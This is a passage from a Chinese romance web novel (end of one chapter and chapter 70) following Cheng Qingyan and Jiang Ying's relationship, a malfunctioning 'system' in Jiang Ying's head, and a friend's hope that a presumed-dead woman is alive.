对方亲口说过她可以不用这么听话,偶尔可以反抗她,她记住了。 …… 窗外的天已经黑透。 姜映贴心地给女人擦了擦脸上的汗,细声细气地叫她:“姐姐。” 程卿言闭着眼睛平复着呼吸,靠着她的肩一动不动,没缓过劲儿,浑身微微颤抖着,不想理人。 “姐姐……” 片刻后,alpha又软软地叫了她一声,程卿言颤了颤眼睫,她若是一直不说话,坏东西不会以为她在难受吧,正打算开口。 “我的肺活量是不是很好啊?” “姐姐你为什么不会换气啊?” 程卿言:…… 还“啊”,装什么人畜无害。 她发现女生也不像她想象中的那么乖,是有坏心思的,只不过这种坏心思在平时没有激发出来,她从前没注意到罢了。 好在目前这种坏在她能承受的范围里。 吻她的时候还算老实,双手没有在她身上乱来,不然…… 程卿言瞥了眼操作台,脸色绯红。 alpha吻得她很舒服,舒服归舒服,她的火气蹭蹭蹭往上冒。 直接在alpha肩膀上咬了一口,虽然没用力,但咬一口她心里也舒服了很多,几息后才抬头,睁开眼看着女生。 嗯? 坏东西的薄唇此刻肿肿的,还冒出了点点血丝,她咬的? 回忆片刻,好吧,除了她还能有谁。 谁让这人不听话,反反复复地吻她,被咬了也是活该。 姜映看着她,关心道:“我有没有弄疼你?” 程卿言的嘴唇不疼,只是被亲麻了,这会儿没了知觉,女生虽然热情磨人,但也足够温柔,没有粗暴的行为。 脚尖在alpha腿上踢了踢,她的鞋在方才的挣扎中早已掉在地上。 姜映挨了几脚,担心她着凉,弯腰找鞋,给她穿好。 程卿言呵了一声:“这会儿知道关心我了?” 刚刚她让她别吻了,她有点受不,坏东西不听,还在她耳边说:姐姐你可以的,再吻一会儿,姐姐可以的 呵。 程卿言不是不喜欢这种温柔的强势,只是有点不习惯,这些年她生居高位,喜欢掌控全局,几乎没人敢正面忤逆她。 上一次在床上,姜映也很听话,她让继续就继续,让停就停,她享受这种指挥的感觉。 她是承受者,她也是指挥者。 若是全然把身体自己交给她人,任由她人摆弄,她内心是会不安的,因为她当年因为信息素紊乱经历过失控。 不过面对姜映的温柔强势,她倒是没有不安,也没有讨厌,只是不习惯。 作为成熟知性的姐姐,在接吻时全程小姑娘带着,像什么样。 姜映见她一直不说话,有些担忧,以为她生气了:“我以后不这样了。” 她以为女人是快乐的,她才会一直吻,没有停下。 程卿言回神,指腹轻轻抚了抚女生红肿的嘴唇,问道:“疼吗?” “有一点,”姜映看着她,如实说,“不过还好,我喜欢这种感觉。” 是有特殊爱好的alpha。 程卿言笑了一声,担心她多想,道:“你没有让我不舒服。” 吻得挺舒服的,就是累,年轻alpha精力旺盛,她目前不太能跟上她的节奏。 姜映的吻技是在哪学的,简直出乎意料,和上次吻她另一张唇一样,完全不像新手,本来想问问,话到嘴边还是作罢了,女生的回答大概和上次一样,会告诉她,她对她的嘴唇很熟悉,吻上去自然而然就会了。 她才不信这些哄omega开心的情话。 应该是好学生悟性高,实践能力强。 程卿言呼了口气,道:“你想让我一直坐在这上面吗?” 她能自己下去,但是又不是她主动坐上操作台的,谁抱她上来谁负责抱她下去。 姜映听懂了她的意思,请示道:“我抱你下来?” 程卿言嗯了一声,双手勾着女生的脖子,女生轻松地抱着她落了地。 瞧着瘦瘦的,也不知道哪来的力气,她伸手捏了捏她的脸,片刻后牵着她走了出去。 找出一直唇膏,捏着alpha的下巴,给她抹了些。 姜映主动说:“真的不严重,我愈合能力强,姐姐你随便咬,很快就好了。” 程卿言嗔了她一眼,愈合能力强,不代表伤着的时候不疼,居然还叫她随便咬,咬坏了心疼的也是她。 “我又不是小狗,”她看着女生澄澈的眼睛,“你才是。” 啊? 为什么说她是小狗,姜映颤着长睫,思忖两秒道:“汪。” 程卿言嘴角扬了起来,心情愉悦地笑出声。 姜映听着她的笑声,心里感到无比安稳,喜欢看她的笑容,喜欢听她的笑声。 鲜活的,充满生命力的体现。 她有一种让她付出任何她所拥有的东西,包括生命,她也愿意的感觉。 程卿言道:“你去衣帽间帮我拿一条干净的睡裙和底裤。” 姜映应好,有了经验,没有问女人想穿哪一条,直接按照从左到右的顺序拿,很快回了卧室,递给她:“这么早就要洗澡吗?” 这会儿七点出头,晚饭都没吃,不是洗澡的点。 程卿言睨了她一眼:“姜映。” “嗯?”姜映看着她。 “你把我吻|湿了,”程卿言在她耳边说,“你说我该不该洗澡?” 话音落下,她也不要回复,留下满脸通红的alpha,扬着嘴角去了浴室,不知道是有意还是无意,浴室门没有关紧,只是轻轻地掩着,浴室里什么动静都能传出来。 姜映听着淅淅沥沥的水声,脑子发热,脸上的温度降不下来。 她把女人吻…… 接吻也可以那样吗? 对方是在开玩笑,还是在说事实。 她不知道,若是想知道真相,只能自己去看,去探索。 姜映拿起杯子接了杯凉水,喝了好几口缓解了身上的热意,坐在沙发上发愣。 一旁突然响起的手机铃声让她回神,她侧头看了看,不是她的手机响了,她走到浴室门口,大声道:“姐姐你的手机响了,有人给你打电话。” “谁打的?”女人的声音在水汽的晕染下,显得有些空灵。 姜映没有随便看她的手机:“我没看。” 程卿言说:“你看一眼。” “好,”得到了女人的准许,姜映才拿起来看了看,念出屏幕上显示的汉字,“是大明星打来的。” 大明星。 程卿言给云秋染的备注:“打电话的人是云秋染,你接吧,告诉她我等会儿给她回过去。” 姜映哦了一声,按了接通,主动开口道:“云小姐你好,程卿言在忙,不方便接电话,她等会儿给你打过来。” 云秋染没说什么,也没问她是谁,只是说了一句“你让她快一点打给我”,就将电话挂断了。 两分钟后,程卿言面颊红润,从浴室出来。 姜映揉着耳朵将手机递给她,复述道:“云小姐让你快点打给她。” 快一点? 云秋染不是急性子的人,一般不会说这种话。 程卿言本以为云秋染是打电话来感谢她做的蛋糕,看样子不是。 是有什么事情发生吗? 程卿言看了眼手机右上角的时间,云秋染的见面会这会儿已经结束了:“我去阳台回个电话。” 姜映点头:“你去吧。” 程卿言走到阳台,点进拨号界面,按了拨通。 “是我,秋染你别激动,慢点说。” “真的?” “好,电话里说不清楚,我这会儿过来找你。” 程卿言挂断电话,呼着气拧了拧眉心,回了客厅,还没开口说话,瞧见姜映满头大汗靠着沙发,咬着牙关蹲在地上,神色痛苦。 她快速走到她身旁,语气担忧。 “怎么了,哪不舒服?” “姜映?” “姜映?” 程卿言连着叫了好几声,对方都没有回应,额头上的汗越来越多。 姜映不是故意不回应她,耳鸣,滋滋滋的电流声在她耳朵里剧烈的响着,耳膜阵痛,像有数百只蜜蜂在里面扎她,疼得视野模糊,浑身颤抖。 紧接着冰凉的机械声响了起来。 【女主?女主…滋滋滋错乱女主?任务错乱中止错乱…滋…请宿主呼出登录密码,查看后台核实世界任务…滋…】 【任务无法匹配滋滋滋错乱】 【提醒…错乱…请宿主核实…上报…】 ——嗡嗡嗡 ——滋啦! 机械播报声消失那一瞬,滋滋滋的电流声也随之消失,视线很快清晰起来,取而代之是程卿言着急担忧的声音。 “姜映?” 姜映深深呼了一口气,握着女人的手,安抚道:“我没事了,你别担心。” 程卿言见她苍白的脸色在极短的时间里恢复成了正常的红润,紧皱着的眉心也舒展了,稍稍放心了些,拿纸巾给她擦额头的汗,确认道:“真没事了?” 姜映看着她,肯定地嗯了一声。 程卿言:“你刚才怎么回事?” 姜映想了想,说她的症状:“耳鸣,耳朵里面疼得厉害,没事的,我这是老毛病了,你别担心。” 又是老毛病。 程卿言困惑地看了看她,这人到底是什么体质。 在医院检查不出任何问题,愈合能力和精力明显优于常人,但时不时会冒出些小问题。 她碰见过她心口忽然疼起来,此刻耳朵又突然疼了,以及只有她能感受到的信息素…… 真的有点邪乎。 即使困惑,无人能解释出原因,姜映也无法解释,她目前不知道该如何对女人说这些出现在她身上的异常情况,她自己也出于迷雾中,什么都不知道。 连接密码,系统说的连接密码到底是什么? 提到的错乱故障又是什么? 以及一直安静的系统为什么突然出现了,出现的规律是什么? 姜映皱了皱眉,不由自主回顾着方才的情形,好像是她挂断了和云秋染的电话,耳朵就开始涨涨的不舒服,程卿言从浴室出来去了阳台,电流声和机械声就出现了。 算上这一次,系统一共出现了三次。 第一次是在青朝杯庆功宴那晚,她喝了点酒,程卿言开车来接她回家,她睡在床上时机械声就响了起来,莫名其妙让她做任务,任务完成后提到了积分,给她加了零分。 第二次出现是程卿言第一次亲她脸颊那晚,冰凉的机械声突然出现在脑子里,恭喜她完成了亲亲任务,又给她加了零积分。 有规律吗? 出现的次数太少,没有明显的特征,姜映总结不出来规律。 “又不舒服了?”程卿言抚了抚她皱着的眉头。 姜映回神,摇头道:“我在想刚才的事。” “想不明白就别想了,别着急,”担心她又难受起来,程卿言说了几句安慰她的话,看了眼时间,呼口气道,“我有事得去一趟云秋染那里,今晚不知道什么时候能回来,你……” 姜映接话:“我没事的,你去忙吧。” “好,”程卿言看着她的眼睛,“你是回研究院,还是就在我这里留宿?” 姜映思忖片刻:“我过会儿回研究院。” 程卿言也没劝她,她也不清楚她今晚能不能回来,再者,女生如果在这里留宿,明天五点半就得起床,这样太累了。 快速换好衣服,两人一起出门,程卿言将她送到地铁站,她本来想让女生打车,但这会儿路上比较堵,女生提出要坐地铁,能节约时间早点到目的地。 姜映道:“那我走了。” 程卿言嗯了一声:“抱抱。” 姜映主动伸手保住女人,女人的脸颊蹭着她的脖子,嘴唇吻了吻她的耳朵。 十几秒后程卿言道:“到了给我发消息。” 姜映应好,不舍地松开了她,开门下车,站在路边,待奔驰彻底消失在视野中,才转身进了地铁站。 月泊林离研究院不是很远,五十多分钟就能到。 这个点属于晚高峰,从月泊林开往研究院这条地铁线不会经过碚城的网红景点,平时人不算多,但是今晚尤其多。 人挤人,姜映不用换乘,一直在角落里站着,四周有些嘈杂。 片刻后她就知道人为什么这么多了。 云秋染的见面会刚刚结束,车厢里的大部分人都是看完表演酒店的粉丝,兴奋感动,情绪还没恢复,比较激动。 姜映能听见她们的议论声,在讨论热搜等等等。 此刻太吵闹,无法静下心去想重要的事,她眨了眨眼,也拿出手机打算看看热搜。 云秋染突然有急事找程卿言。 热搜上会有相关的联系吗? 点进某博,界面上几乎所有的词条都和云秋染有关,其中几条后面还标着爆,热度很高。 #云秋染见面会# #天生的女主,唱跳界的神# #云秋染神颜值# …… #不会唱跳的演员不是好影后# 姜映的指尖在屏幕上滑动着,全部都是正向积极的词条,见面会应该进行得很顺利,没有发生意外。 不过在这些词条中,插了一条和云秋染无关的词条,排到了较为靠前的位子。 #港城半小时烟花秀# 放了半小时的烟花? 近些年市区虽然不禁烟花,但也明文规定不能大规模长时间地放,得上报有关部门,经过层层审批,通过之后才可以。 审批过程耗时长,通过难度大。 姜映平时不关注八卦新闻,此刻也好奇地点进这条看了一会儿,有视频作证,确实放了半个小时。 璀璨烟火在夜空中构建出奇幻世界,浪漫绚丽- 什么情况,什么情况,港城今夜是有什么官方活动吗,搞这么大的排场- 不是官方活动,我姐是港城文旅部的工作人员,她说这个活动不是官方搞的- 太震撼了,烟火绽放那会儿我学姐正好在给我表白,我这辈子都忘不了今天- 不会是港城的哪个大佬在求婚吧- 不知道,有钱人的世界- 欢迎大家春节来港城玩- 哈哈哈怎么回事,官方账号都过来凑热闹了 姜映看了会儿评论区,手机铃声忽然响了起来,屏幕上显示的是林溪的电话号码。 她按了接通,说话的人不是林溪,是一道陌生的女声:“你好,请问是姜映吗。” 姜映嗯了一声:“你是?” “我是春禾的调酒师,你的朋友在店里喝多了,你能来接她一下吗?” 春禾是一家清吧,环境不错,安全性也高,就在碚城大学附近,周青月之前带她和林溪去玩过,她知道具体位置在那。 “好的,我过会儿到,麻烦你帮忙照顾她一下。” 姜映挂断电话,手机界面又回到了某博,她瞥了一眼,发现接电话前她看的那条有关港城烟花秀的词条消失得无影无踪了,仿佛没在热搜上出现过。 疑惑地眨了眨眼,但也没过多在意,这些事和她没有关系,手机息屏放进包里,在下一个站换了地铁线,车厢变得更拥挤了,三十多分钟后才出了地铁站,快步走向春禾。 她和林溪做了四年的室友,对她性格也有一定了解,知晓她不是爱喝酒的人,酒量也一般,为什么会独自去清吧喝酒,而且还喝醉了。 她有些担忧,加快了步伐,寒风吹在她脸上,冻红了鼻尖。 大部分高校学生已经放假回家了,春禾店里的顾客很少,吉他手在台上唱着民谣,婉转悠扬。 林溪坐的位子很显眼,姜映进去就瞧见了她,她出声道:“林溪你醒醒。” 林溪趴在吧台上,听见了熟悉的声音,缓缓抬头看向她。 “姜映……” 姜映瞧见她通红的眼眸时,微微怔了几秒,担忧道:“你还好吗,我送你回家?” 林溪喝得太多了,神志有些模糊,对着她摇了摇头,又拿起酒瓶喝了起来。 “别喝了,喝太多会难受的。”姜映想拿走她的酒。 林溪不愿意,躲开她。 调酒师见状,开口道:“她这酒度数不是很高,她酒量不好才醉成这样,喝多了也没啥事,睡一觉就好了,不会太难受的。” 姜映问:“她喝了多久了?” “应该快一个小时了,”调酒师在酒吧工作很久了,对于这种情况已经见怪不怪了,经验十分丰富地建议道,“你朋友应该是受了情伤,哭了好一阵儿了,你就让她喝吧,发泄出去会好很多。” 受了情伤? 林溪谈恋爱了吗? 姜映对此不知情,担忧地守着她,时不时和她几句话,在对方闭上眼睛要睡过去时,她结了账,扶着她上了出租车,带着她回了自己家。 她不知道林溪家里的具体地址,身上又没身份证开不了酒店,她家就在大学城这边,离得很近,过去也比较方便。 十分钟后,到了她家楼下,她扶着林溪上楼,开门进屋。 姜映呼了两口气,去隔壁张阿姨家要了一点蜂蜜,给她调了杯蜂蜜水醒酒。 端着杯子,重新回到客厅时,林溪又在无声地流泪了,整张脸上都是泪痕,嘴里喃喃道。 “为什么不喜欢我……” 姜映拿纸巾给她擦了擦眼睫,想了想道:“你想和我聊一聊吗,说出来或许会好受些。” 林溪喝了蜂蜜水后,脑子已经清醒了些,知道她在哪,她在做什么,可是她控制不住一直往外冒的眼泪,啜泣道。 “她说她从来没喜欢过我。” “说我太较真了,让我玩不起就别玩,让我以后不要和她联系了。” “我没有奢求过她会喜欢我,可是……” 为什么要给她希望,表现出很喜欢她的样子。 姜映耐心地倾听着,偶尔回应,没有在对方神志不清时打探对方的隐私。 二十多分钟后,林溪疲倦地睡了过去。 姜映给她盖好被子,轻轻地关上卧室门,回了客厅坐着,拿起手机看了一眼,发现手机没电了。 什么时候没电的? 她没印象,找出充电器充上,开机后才瞧见有两通程卿言打来的电话,姜映立马回拨过去,女人接通后,她道:“姐姐。” 程卿言嗯了一声:“刚才怎么没接电话?” 姜映:“手机没电了。” 程卿言:“你还没到研究院吗?” “我没回研究院,”姜映给她详细给她说了路上发生的事情,“这会儿在家里了。” 程卿言幽幽道:“也不主动给我说一声,不知道我会担心你?” “对不起,我下次不会这样了,”姜映态度端正,“姐姐你生气了吗?” 程卿言:“你觉得我在生气吗?” 姜映颤睫:“应该有一点点?” 程卿言呵了一声:“不聊了。” 姜映不舍:“可不可以再聊一会儿?” 女人不理她,直接挂断电话,并且给她发了一条微信消息。 【想想下次见面怎么哄好我,认真想】 第70章 痕迹 痕迹 第七十章 程卿言和姜映是七点半那会儿分开的,分别前她让女生到了研究院之后给她说一声。 她知道女生的个性,答应的事情就会放在心上。 从月泊林到研究院要坐五十多分钟的地铁,已经过去一个多小时了,对方还没给她发消息。 忘记了? 对方的记性很好,应该不会。 好在这会儿不是深夜,时间比较早,路上的行人很多,碚城的治安也很好,程卿言没有着急担心,猜测女生是有事情耽搁了。 于是只发了一条微信消息,提醒对方到了之后给她打电话,就放下了手机,没再去想这件事。 目前云秋染的事情比较紧急。 云秋染的状况不是很好,情绪比较激动,见她来了,拉住她的手腕,语气急而肯定道:“她还活着,她肯定还活着。” 还活着? 程卿言愣了几秒,反应过来她说是港城陆家的那位,但是那位已经离开人世多年了。 那么高的悬崖,那么大的浪,深不见底的海域,落下去是不可能有生还的机会的。 “你别着急,先冷静一下,”程卿言道,“你慢慢说。” 云秋染深呼一口气,此刻头发有些凌乱,全然没了平时的淡定,拿出手机,指尖有些颤抖地点开她的录屏,按了播放。 港城半小时烟火秀。 程卿言看见了词条,又认真地看了烟火秀的视频,没觉得有任何奇怪之处。 港城的豪门多,烟火秀的审批虽然不容易,但对于有钱有势的人而言,也不是一件难事。 婚嫁,寿宴,添新丁,这些都可以成为放烟火庆祝的理由,港城以往也发生过类似的事情,比烟火秀排场更大的事情都有。 “你觉得是陆枫放的烟花?”程卿言问到。 云秋染肯定:“对。” 为什么会这样觉得? 程卿言思忖片刻道,语气温柔地宽慰道:“秋染,今天虽然是你的生日,这场烟火秀也恰好发生在港城,但这不能说明就是为你庆生放的,她已经去世这么多年 ,你得……” “我有证据,”云秋染打断,眼眸里闪着泪花,“她曾经说过要在我出道十周年那晚在港城放烟火庆祝。” 当时她出道不到一年,在拍她的第一部戏,小配角,又苦又累,没有人看好她,有一晚反复拍了几场落水的戏份,熬了通宵,累到晕在了家里的地板上。 迷迷糊糊间感觉有人在给她擦汗,有人在她耳边用极其温柔的声音对她说“辛苦了,要快快成为坚强的大女主,有机会的话,十周年的时候在港城给你放烟花”。 “我当时虽然是睡着的,可是我的大脑有意识,大脑是清醒的,我听得很清楚,就是她的声音。” “会不会是在做梦,你拍第一部戏的时候就来了碚城,陆枫当时在港城。”程卿言道。 云秋染肯定道:“不是梦,我晕在了地板上,但是醒来的时候我是躺在床上的。” 当时她怀疑过是陆枫来看她了,可是陆枫的腿不好,行走都有些费劲,怎么可能抱她上床,后来她也试探地问了对方那段时间有没有来过碚城,对方说没有,她才没有去深想。 “卿言,你相信我,真的不是巧合,她肯定还活着。” 活要见人死要见尸,当年海浪太大,无法在大片海域里找到陆枫,但是那种情况下是不可能有生还的机会,陆枫的腿脚又不好,更不可能了,因此判定了死亡。 陆家在港城属于低调的老钱家族,很少出现在媒体上,陆枫因为身体的缘故,也不是陆家明面上的继承人,外界很少有人知道她,陆家也没将她死亡的消息传出来。 程家和陆家曾经有过合作,程卿言是先认识的陆枫,再通过陆枫认识了云秋染,当时她刚接手程氏影业,她以为云秋染和陆枫是恋人关系,毕竟陆枫拜托过她日后照看一下云秋染。 后来她和云秋染熟了起来,才了解到她们不是情侣,陆枫很少主动和云秋染接触,只会在云秋染最困难的时候出手相助。 她还记得云秋染当时的原话。 “我家里破产了,长辈都跳楼了,给我留了一大堆债务,我四处打工偿还,差点辍学,是她突然出现救了我,后来又送我去参加选秀,我才有了新的出路。” “你知道吗,第一次见她的时候,她冷冰冰地坐在轮椅上打量着我,我以为她看上我的身体,要睡我,包|养我,不然为什么花这么多钱为我还债,可是她不仅没碰过我,见面的次数都很少,还不允许我主动联系她。” “我努力拍戏,往上爬,很希望有一天能入她的眼,能和她平视,可我的事业才有了起色,她就消失了。” 最初云秋染怎么也不肯接受陆枫的死亡,但时间是残酷的,一年又一年,等的麻木了,时间让她不得不接受。 若不是今夜港城突然出现了烟火秀,让她想起了十年前陆枫说过的话,她也不会有如此激烈的反应。 云秋染这些年的发展虽然很好,但也只是有钱,和豪门世家的差距依旧很远,想要去调查这件事 ,只能求助程卿言。 程卿言是唯物主义,不认为世界会有轮回,也不相信人会死而复生,但云秋染是她的朋友,她得帮忙,再一次将事实摆在云秋染眼前,对方才能从过往中彻底走出来。 “你放心,我会让人去调查的,不过陆家的情况你也知道,调查起来有点麻烦,得花些时间。” “拜托你了,”云秋染感激地看着她:“我愿意等,只要有结果,多久就行。” 等待、遗忘、想念。 程卿言看着她,脑子里冒出这三个词,忽然有些想知道,是离开的人比较痛苦,还是留下来的人更痛苦。 云秋染这些年不断进组拍戏,全年无休,不仅是热爱拍戏,还有一层原因是在用工作填满她所有的缝隙,没有缝隙,思恋就不会冒出来了。 这些她都知晓,全看在了眼里。 程卿言呼了口气,见她嘴唇很干,拿起杯子去给她接了杯温水,目光不经意落在了餐桌上。 餐桌上摆着她送的蛋糕,还有一只烤鸭,都有食用过的痕迹,吃了一小部分。 吸引她目光的不是食物,而是桌上的餐具。 有两幅餐具,蛋糕也切了两块。 云秋染独居惯了,除了她和余简予,休息时间几乎不会邀请人来家里用餐,助理和经纪人来的次数也很少。 就算是经纪人和助理,也不会拿这套餐具给她们用,云秋染很喜欢这套餐具,有一次余简予闹着要用一用,果断被拒绝了。 和云秋染一起吃饭的人是谁,这会儿怎么不在这里。 程卿言微微愣了几秒,接了温水,走回去递给她,待她喝了之后,开口问道:“你今晚邀请谁来吃饭了?” 云秋染愣了几秒:“一个普通朋友。” 程卿言:“送你橘子和书签的那个?” 云秋染嗯了一声,转而问道:“这么晚叫你过来,你吃饭了没?” “没有。” 程卿言如实说,本来是要和姜映一起吃晚饭的,计划被打断了,出门前只吃了一份小蛋糕。 云秋染起身:“我给你剪一份牛排?” 程卿言也没和她客气,对方找点事情做,调整一下情绪,也是一件好事:“那就多谢了。” 程卿言坐在沙发上,拿起手机点进微信看了几眼,姜映怎么还没回她消息,直接去加班工作了,不能碰手机? 也不知道吃饭了没。 云秋染厨艺好,速度也快:“可以了,你过来趁热吃。” 程卿言应了声好,入座用餐,不仅有牛排,云秋染还把烤鸭也加热了,她夹了一块放进嘴里尝了尝。 点评:“味道还行,但是没我做的蛋糕好吃。” 云秋染的情绪已经稳定了很多,成年人的崩溃只在某些瞬间,笑了一声:“简予如果听见了,肯定会和你闹。” 程卿言挑了挑眉,切着牛排:“我说的是事实,她再闹也改变不了。” “你不尝尝你做的蛋糕?”云秋染问。 程卿言:“我在家尝过了。” 云秋染:“嗯?” 程卿言说:“给你做了之后还剩了些材料,就做了一个小的,我吃的小的。” 云秋染点头。 程卿言问她:“你觉得味道怎么样?” “还不错,”云秋染说,“外形虽然简单,味道可以,和店里买的差不多,教你做蛋糕的糕点师傅请的不错。” 那是肯定。 姜映的手艺很好,学什么都快。 程卿言骄傲地笑了一声,别人夸姜映,比夸她还开心。 吃了晚饭,她又陪着云秋染聊了会儿天,见她没有任何异常了,才放心地离开了。 没有在云秋染家里留宿,坐车回月泊林。 已经十点过,路上车少,一路顺畅。 姜映还没回消息,程卿言有些担心了,打了电话过去,没人接,再打了一通,还是没人接。 到底做什么去了,这坏家伙不知道她会当心吗。 程卿言拧了拧眉心,她没有她朋友的联系方式,只能等着,好在女生很快给她回电话了,详细解释了原因,还问她生气了没。 倒是没有生气,只是有点想她。 才分开几个小时,她就想见她了。 女生觉得她生气了,她也没多解释,顺势让她下次见面哄她,她想看看女生会想出什么招。 程卿言放下手机,嘴角轻轻扬了扬,侧眸看着车窗外的街景,快到春节了,绿化带的景观树上已经挂上了闪亮的装饰品,虽是新的一年,但景色和去年无异。 可是今年她的心境发生了变化,心里住进了一个小姑娘,对未来有了更多的期待。 轻轻呼了口气,程卿言颤睫,在寂寥安静的夜里冒出一个念头,她想和姜映住一起,想同居了。 每天回家能见着她,早上在她怀里睁开。 回到月柏林,拉面丸子热情的应了过来,呜呜呜呜地对着她撒娇,家里倒也不冷清,可还是觉得缺了点人气。 再等等,不能心急。 程卿言陪着小狗玩了一会儿,起身洗漱,她躺到床上,被子里留下了姜映身上淡淡的体香,她闭上眼睛深深吸了几口气。 抱着竹子玩偶,暖黄的夜灯柔和地落在她阖着的眼睫上,回想着这日和女生的相处,嘴角扬了起来,慢慢进入了浅睡。 * 翌日。 清晨寒风呼啸 ,吹得年份已久的窗户轻轻晃动着。 漆黑的天逐渐变成淡淡的灰,客厅里开着夜灯,姜映缩在沙发上睡了一夜,她个子高,沙发比较小,躺在上面有些狼狈,好在她对睡觉的环境要求不高,没有影响到她。 迷迷糊糊间,听见有人在叫她。 姜映睁开眼,坐了起来。 林溪很不好意思地看着她:“你去卧室睡吧。” 姜映看了眼时间,六点零七分,还有三分钟她定的闹钟就响了:“我睡得差不多了,已经够了。” 林溪点头,感激道:“昨天麻烦你了。” “没事,”姜映站起来,“你不再睡会儿吗,头疼不疼?” “已经不疼了,我……”林溪欲言又止,呼口气道,“我昨天有说什么没?” 姜映给她复数了一遍昨晚的事,以及对方说过的话:“就只有这些了,别的事情都没说。” 没有提到云秋染的名字,不会给她添麻烦,林溪悬着的心落了下去,松了一口气。 姜映尊重她的隐私,看出她不想讲这事,贴心地没有多问,思忖片刻道:“你以后如果想谈心,或者又想去喝酒了,不要一个人,独自一个人在外面喝醉了挺不安全的,可以叫上我或者是青月陪你。” 林溪朝着她笑了一下:“谢谢。” 姜映见她眼睛有些肿:“冰箱里有冰块,你可以拿来敷一敷。” “好,”林溪知道她最近很忙,等会儿还得去研究院,“你快去洗漱吧,不用管我。” 姜映应了声好,二十分钟后,林溪和她一起下了楼。 天色未亮,路灯还没熄灭。 在地铁站附近的早餐店吃了点东西,两人道别,林溪回家,姜映坐地铁去了研究院。 时间较早,还没到早高峰,车厢里空位置比较多,姜映坐下看着手机屏幕,神色专注的回复着楚工发给她的工作消息,处理好时已经过了二十多分钟了。 下地铁换乘,瞥了眼右上角的时间,马上七点了。 她和程卿言一起睡过,知晓对方的作息,工作日一般会在七点出头醒来,最迟不会超过七点半。 想给女人发消息,心里痒痒的,又担心女人若是没醒,手机也没关静音,通知声会吵醒女人,犹豫片刻,决定忍一忍,迟一些再发。 这会儿空闲下来了,抿着唇,看着女人昨晚给她发的最后一条消息。 女人让她认真想一想怎么哄人。 程卿言需要什么? 姜映颤了颤眼睫,嘴角轻轻扬起,昨夜女人和她通话时的语气不像生气的样子,她知道女人是在逗她。 不过她也想让女人开心,开始思考下次见面要如何哄人。 * 去公司的路上,程卿言收到了姜映发来的消息。 姜映:【姐姐你起床了吗?】 程卿言笑了一声,昨晚没有失眠,今天起得比较早,没到八点,就快到公司。 她指尖点了点屏幕:【起了】 姜映:【吃早餐了没?】 程卿言:【吃阿姨做的三明治和热牛奶,你呢?】 姜映:【我吃的牛肉面,你昨晚的睡眠怎么样?】 程卿言:【还行】 姜映:【哦】 程卿言挑眉,又说:【比不上你睡在我旁边时的睡眠质量】 她想天天和女生睡一起,感受着她的呼吸,体温,肌肤相触,不过她没将这话发给对方。 对方这么喜欢她,如果她这样说了,说不准又要提离开研究院,天天守着她,陪她睡觉了。 聊了会儿天,先说了些健康朴素的话,接着她就开始逗alpha了,问了些荤的,不是很直白,又不是很含蓄,尺度控制在alpha能看懂,会害羞,但又不过于羞耻的程度上。 程卿言心情愉悦地笑了一声,放好手机,坐专属电梯上楼,拿着文件径直去了会议室开会。 下属汇报了云县拆迁的最新进度,上次预估在十五天内能将所有住户都谈下来,实际情况比预估的还要顺利,按目前的进展,这个周内能彻底解决这件事。 忙活了这么久,一块硬骨头终于啃下来了,年前解决,过年时大家就能松一口气。 会议结束,回了办公室,程卿言处理了会儿工作,秦助理敲门进来,递给她一份文件:“程总,前不久您让我调查的那辆黑色轿车,结果已经出来了,您看看。” 黑色轿车。 程卿言想了一下,是她带着姜映去临省开座谈会那日,在高速上遇见的突然变道进匝道,差点和她们相撞的那辆黑车轿车。 秦助理调查得很仔细,那辆车的车主是刚学会开车的新手,跑高速的经验不足,背景资料也干干净净,没有任何问题,因此那天的确是意外。 程卿言静思几息,开口道:“你等会儿把那段路多监控,以及行车记录录制的实际情况发给我。” 已经没问题了,为什么还要特意地去看监控和行车记录仪,秦助理有点困惑,不过老板说什么,她照做就是,不该问的就不问。 秦助理应了声好。 程卿言道:“何助今天没来上班?” “她母亲在医院出了点事,她请了半天假去医院了。”秦助理道。 程卿言嗯了一声。 秦助理汇报完事情后,离开了她的办公室。 程卿言指尖点着桌面,侧眸看着落地窗外的天际,乌云笼罩,大雨倾泄,窗户上全是雨痕。 这场雨来得很突然。 早上出门那会儿还有太阳,开会那会儿突然变了天,瞬间阴沉,毫无征兆地下起了雨,看这架势一时半会儿停不下来。 办公室内安装了完善的换风系统,恒温恒湿,无论外界的天气如何变化,影响不了室内。 但此刻程卿言感觉胸口闷闷的,深深呼了一口气,端起杯子抿着温水缓了缓,起身走到落地窗前,看着阴沉灰暗的街景,拧了拧眉心,莫名出现了一种不安感。 面无表情,缄默地站了片刻,想不明白这种不安来源于哪,或许是天气不好,近期太累,从而产生的错觉。 一场暴雨让碚城的气温又降了回去,接近零度,寒风刺骨。 接下来两日都是阴雨天,细雨断断续续地下着,处处湿漉,一直不放晴。 这两日程卿言和姜映都比较忙,没有恰当的时间见面,不过一直保持着联系,打了电话发了消息。 周三下午,姜映主动发消息说她晚上不用加班,询问程卿言有没有空,能不能来找她。 程卿言晚上有一场商业晚宴,举办方和程氏有合作,于情于理都不能脱掉,但她确实想见姜映了。 思忖片刻,她去了趟余简予的办公室,让余简予代她出席。 余简予端起杯子喝了几口咖啡,好奇问:“你晚上有啥重要的事?” 程卿言挑眉,双手环胸,如实告诉她:“我和姜映两天没见了,今天想见一见。” 余简予戏谑地看着她,打趣道:“你之前还笑话我出差要带小情人,说我不务正业,现在懂了吧。” 程卿言有求于她,态度很好:“懂了,以前是我不对,今晚就麻烦你了。” 余简予很少见她这副模样,哈哈哈笑了几声:“好啦,我去就是了,你和我客气啥。” 她近期单身,晚上也没夜生活,去出席晚宴也不碍事。 “不过我点工作没处理好,我得……” 程卿言接话:“你发给我。” “行,我这就发你。”余间予不和她见外。 对接好工作后,余简予没在公司久留,做妆造得花些时间,提前离开了。 程卿言回了办公室,先给姜映发了消息:【我七点左右能下班,你大概几点?】 姜映很快回复:【我六点下班】 程卿言:【那你直接去我家等我?】 姜映:【好,你晚上想吃什么,我可以提前做】 程卿言指尖点着手机边沿:【今天不在家做饭了,挺累的,我到时候让人送餐】 她们本来就没多少见面时间,做饭费事又累人,不想把时间浪费这上面。 姜映听她的:【好的】 聊了几句,程卿言有些不舍地放下手机,全神贯注处理着手里的工作,再次抬头时,天已经黑透了,她有些疲惫地呼了口气,关了电脑,起身离开了公司。 闭目养神,坐在车上休息了会儿,想着一会儿要见的人,身心舒畅,恢复了些精力。 车开到小区附近时,程卿言睁开眼眸,从包里拿出口红补了补妆。 姜映陪着拉面丸子在院子玩,见她回来了,一人两狗开行地跑向她,脸上的神色如出一辙。 拉面丸子汪汪汪叫几声。 姜映眼眸含笑,声音轻快:“姐姐。” 